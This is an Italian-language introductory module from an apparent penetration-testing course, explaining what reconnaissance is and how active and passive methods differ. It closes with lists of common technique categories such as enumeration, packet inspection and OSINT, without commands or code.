Il primo passo che un autore di minacce compie quando pianifica un attacco è raccogliere informazioni sull’obiettivo. Questo atto di raccolta di informazioni è noto come ricognizione. Gli aggressori utilizzano strumenti di scansione ed enumerazione insieme alle informazioni pubbliche disponibili su Internet per creare un dossier su un obiettivo. Come puoi immaginare, come penetration tester, devi anche replicare questi metodi per determinare l’esposizione delle reti e dei sistemi che stai cercando di difendere. Questo modulo inizia con una discussione su cosa sia la ricognizione in generale e sulla differenza tra metodi passivi e attivi. Imparerai brevemente alcuni degli strumenti e delle tecniche più comuni utilizzati. Da lì, il modulo approfondisce il processo di scansione delle vulnerabilità e il funzionamento degli strumenti di scansione, incluso come analizzare i risultati dello scanner delle vulnerabilità per fornire risultati utili ed esplorare il processo di sfruttamento delle informazioni raccolte nella fase di sfruttamento. Il modulo si conclude con la trattazione di alcune delle sfide più comuni da considerare quando si eseguono scansioni di vulnerabilità.

Effettuare la Ricognizione Passiva

Ricognizione

La ricognizione è sempre il primo passo in un attacco informatico. Un aggressore deve prima raccogliere informazioni sul bersaglio per avere successo. In effetti, il termine ricognizione è ampiamente utilizzato nel mondo militare per descrivere la raccolta di informazioni sul nemico, come informazioni sulla posizione, sulle capacità e sui movimenti del nemico. Questo tipo di informazioni è necessario per eseguire con successo un attacco. La ricognizione in un impegno di test di penetrazione consiste tipicamente nella scansione e nell’enumerazione. Ma che aspetto ha la ricognizione dal punto di vista di un attaccante?

Ricognizione Attiva vs. Ricognizione Passiva

La ricognizione attiva è un metodo di raccolta di informazioni in cui gli strumenti utilizzati inviano effettivamente sonde alla rete o ai sistemi target per ottenere risposte che vengono poi utilizzate per determinare la posizione della rete o del sistema. Queste sonde possono utilizzare vari protocolli e più livelli di aggressività, in genere in base a cosa viene scansionato e quando. Ad esempio, potresti eseguire la scansione di un dispositivo come una stampante che non dispone di uno stack TCP/IP o di un hardware di rete molto robusto. Inviando sonde attive, potresti mandare in crash un dispositivo del genere. La maggior parte dei dispositivi moderni non presenta questo problema; tuttavia, è possibile, quindi quando si esegue la scansione attiva, è necessario esserne consapevoli e regolare di conseguenza le impostazioni dello scanner.

La ricognizione passiva è un metodo di raccolta di informazioni in cui gli strumenti non interagiscono direttamente con il dispositivo o la rete di destinazione. Esistono molteplici metodi di ricognizione passiva. Alcuni implicano l’utilizzo di database di terze parti per raccogliere informazioni. Altri utilizzano anche strumenti in modo tale da non essere rilevati dal bersaglio. Questi strumenti, in particolare, funzionano semplicemente ascoltando il traffico sulla rete e utilizzando l’intelligenza per dedurre informazioni sulla comunicazione dei dispositivi in ​​rete. Questo approccio è molto meno invasivo su una rete ed è altamente improbabile che questo tipo di ricognizione possa mandare in crash un sistema come una stampante. Dato che non produce traffico, è improbabile che venga rilevato e non solleva alcun flag sulla rete che sta monitorando. Un altro scenario in cui uno scanner passivo potrebbe rivelarsi utile sarebbe quello per un penetration tester che deve eseguire analisi su una rete di produzione che non può essere interrotta. La tecnica di ricognizione passiva che utilizzi dipende dal tipo di informazioni che desideri ottenere. Uno degli aspetti più importanti dell’apprendimento dei penetration test è lo sviluppo di una buona metodologia che ti aiuterà a selezionare gli strumenti e le tecnologie appropriati da utilizzare durante il coinvolgimento.

Gli strumenti e i metodi comuni di ricognizione attiva includono quanto segue:

  • Host enumeration
  • Network enumeration
  • User enumeration
  • Group enumeration
  • Network share enumeration
  • Web page enumeration
  • Application enumeration
  • Service enumeration
  • Packet crafting

Gli strumenti e i metodi comuni di ricognizione passiva includono quanto segue:

  • Domain enumeration
  • Packet inspection
  • Open-source intelligence (OSINT)
  • Recon-ng
  • Eavesdropping